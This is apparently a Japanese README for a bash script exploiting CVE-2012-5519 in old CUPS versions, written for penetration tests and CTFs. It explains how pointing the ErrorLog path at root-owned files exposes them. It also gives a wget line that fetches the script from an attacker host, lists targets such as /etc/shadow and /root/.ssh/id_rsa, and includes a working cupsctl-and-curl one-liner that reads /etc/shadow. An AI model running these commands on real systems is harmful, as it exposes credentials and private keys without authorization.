
metasploitの 'cups_root_file_read.rb' モジュールのbash実装で、ペンテストやCTF向けに設計されています。
主にbashスクリプティングの短い練習問題です。CVE-2012-5519をLinuxシステム上で悪用する、自己完結型のプログラムとして意図されています。
ユーザーに対話型プロンプトを提供し、複数の制限されたファイルを素早く読み取ることができます。
このスクリプトは、CUPS (Common UNIX Printing System) < 1.6.2 の脆弱性を悪用します。
CUPSでは、lpadminグループに属するユーザーが cupsctl コマンドを使って cupsd.conf ファイルを変更できます。
このコマンドでは、ErrorLog パスを指定することもできます。
ユーザーが '/admin/log/error_log' ページにアクセスすると、rootのSUIDで動作する cupsd デーモンが ErrorLog パスを読み取り、プレーンテキストで表示します。
つまり、ErrorLog パスが root 所有のファイルを指すように設定すれば、そのファイルを読み取ることができます。
スクリプトはプロンプトをユーザーに渡す前にいくつかのチェックを行います。前提条件は以下の通りです。
wget や nc などの代替HTTP解析コマンドは組み込まれていません。cupsctl コマンドが利用可能かなど)を確認します。このスクリプトはペンテストやCTFイベントで使用されることを想定しています。ターゲットマシンにスクリプトを配置します。これにはさまざまな方法があります。ターゲットマシンからの一般的な方法の一つ:
wget http://[my ip]:[my port]/cups-root-file-read.sh
cups-root-file-read.sh の実行に引数やフラグは必須ではありませんが、2つのオプションがあります:
./cups-root-file-read.sh -h
./cups-root-file-read.sh does not require any arguments to run.
it is currently interactive only.
usage: ./cups-root-file-read.sh [-a|--accessible] [-h|--help]
-a, --accessible: turns off features which may negatively affect
screen readers.
-h, --help: prints this dialog message.
エクスプロイトに必要なチェックをすべて通過すると、ユーザーは入力を求められます。
読み取りたいファイルのフルパスを入力します。
例:
1. /root/.ssh/id_rsa
2. /root/.bash_history
3. /etc/shadow etc...
以下のように実行します:
bash cups-root-file-read.sh
または
chmod +x cups-root-file-read.sh
./cups-root-file-read.sh
単一のファイルのみを読み取りたい場合:
echo '/etc/shadow' | ./cups-root-file-read.sh
初期の機能チェックと脆弱性チェックを通過すると、ユーザーは既存のファイルへの絶対パスを入力できるプロンプトが表示されます。各ファイルの内容がターミナルに出力されます。
このスクリプトは制限されたファイルをテストして読み取るために使用できますが、ユーザーが既に表示したい制限されたファイルの存在を知っている場合に最も役立ちます。例:
このスクリプトとエクスプロイトにはいくつかの制限があります。私の知る限り、metasploitの 'cups_root_file_read.rb' モジュールも同じ制限を受けます。
ユーザーが送信する入力は、表示したい既存のファイルへの絶対パスであり、ファイル名やパスに空白を含んではいけません。これは、cupsctl コマンドが引用符を使っても空白文字を正しく処理できず(例:ErrorLog='/path to/file.txt')、空白文字で入力を区切って個別のディレクティブに分割し、ブール値'true'を設定するためです。
前の例を送信すると、cupsd.conf ファイルには次のように書き込まれます:
ErrorLog=/path
to/file.txt=true
これによりエラーが発生し、エラーログに書き込まれます。そのエラーログが、以前の成功したファイル読み取り試行で ErrorLog パスに指定された重要なファイルである可能性があります。そのため、スクリプトは空白をチェックしてフィルタリングします。
ユーザーが絶対パスとファイルに似たものを送信するようにチェックしても、cupsctl コマンドでサーバーに渡される前にすべてのエラーをキャッチできるわけではありません。
ルートディレクトリ内に存在するファイルは読み取ることができます(例:'/file.txt')が、'/tmp' や '/root' などの一般的なUnixディレクトリも(意図的であれ、ユーザーエラーであれ)送信される可能性があります。そのようなシステムディレクトリに対するキャッチはなく、これらはサーバーから404ステータスコードを返します。ユーザーはその旨を知らされます。
パスに存在しないディレクトリを指定した場合(例:'/tmp/non-existent-directory/file.txt')も、サーバーから404ステータスコードが返されます。
存在しないファイル(例:'/root/non-existent-file.txt')を表示しようとすると、新しいエラーログとして作成されます。ユーザーは出力で、その空のファイルがスクリプトによって作成された可能性があること、また以前から存在していなかった場合はエクスプロイトスクリプトによって作成されたことを通知されます。これらの空のファイルがシステムユーザーによって同時間帯に作成された可能性も常にあるため、クリーンアップは行われません。
Linuxにはファイルやディレクトリの存在を確認するコマンドがありますが、この機能はユーザー入力を cupsctl コマンドに渡す前にスクリプトに実装されていません。なぜなら、テストコマンドは現在のユーザーにアクセス権限がない場所(例:'/root')にあるファイルやディレクトリの存在を確認できないからです(明らかなセキュリティ上の理由から)。スクリプトはそのようなアクセス制限されたファイルを読み取るように設計されているため、そのような機能は無意味です。
cupsctl のエラーは、手動でも cups-root-file-read.sh 経由でも変更を行う際に発生する可能性があります。cups-root-file-read.sh は通常ではないユーザー入力や一部のエラーを処理しますが、cupsd.conf ファイルの変更中やWebページのリクエスト中に発生する cupsctl エラーは処理されません。cups-root-file-read.sh は単に終了します。その場合はスクリプトを再起動して再試行できます。
このスクリプトは主に、読みやすさとアクセシビリティを考慮した、単一のエクスプロイトのための短く包括的な自己完結型プログラムを作成する練習として作成されました。
このスクリプトは、CVE-2012-5519 の存在をテストし、エクスプロイト中に複数の制限されたファイルを迅速かつ簡単に読み取ることを目的としています。その目的のために、metasploitモジュールや手動でコマンドを入力して繰り返し編集するよりも大幅に高速だと感じています(願っています)。しかし、ターゲットマシンが脆弱であることがわかっている場合、同じ結果を次のような方法でも達成できます:
cupsctl ErrorLog=/etc/shadow WebInterface=Yes && curl 'http://localhost:631/admin/log/error_log'
2022年現在、このエクスプロイトは10年前のものです。ターゲットマシンも古い場合、スクリプト内で使用されているさまざまなコマンドのバージョンが現在の機能を持っていない可能性があります。これはbashのバージョンにも当てはまる可能性があります。残念ながら時間制約により、より広範な環境でスクリプトをテストすることはできませんでした。CTFではより有用かもしれません。
当初はpython3でスクリプトを作成する予定でしたが、非特権ユーザーとしてシステムにアクセスした後、python2やpython3が利用できないケースに何度か遭遇しました。bashはLinuxシステムでほぼ常に利用可能であり、一般的なLinuxコマンドも同様であるため、bash実装の方が安全な選択肢に思えました。
可能な限りbash組み込みコマンドを使用していますが、スクリプトは sort、head、curl などの外部コマンドに依存しています(もちろんエクスプロイトの一部として cupsctl も)。時間制約のため、これらのコマンドのチェックや代替手段は現在ありません。これらのコマンドが利用できない場合、スクリプトは失敗します :(
https://argbash.io - 初期スクリプト引数のヘルプ。
https://skerritt.blog/a11y/ - アクセシビリティの実装。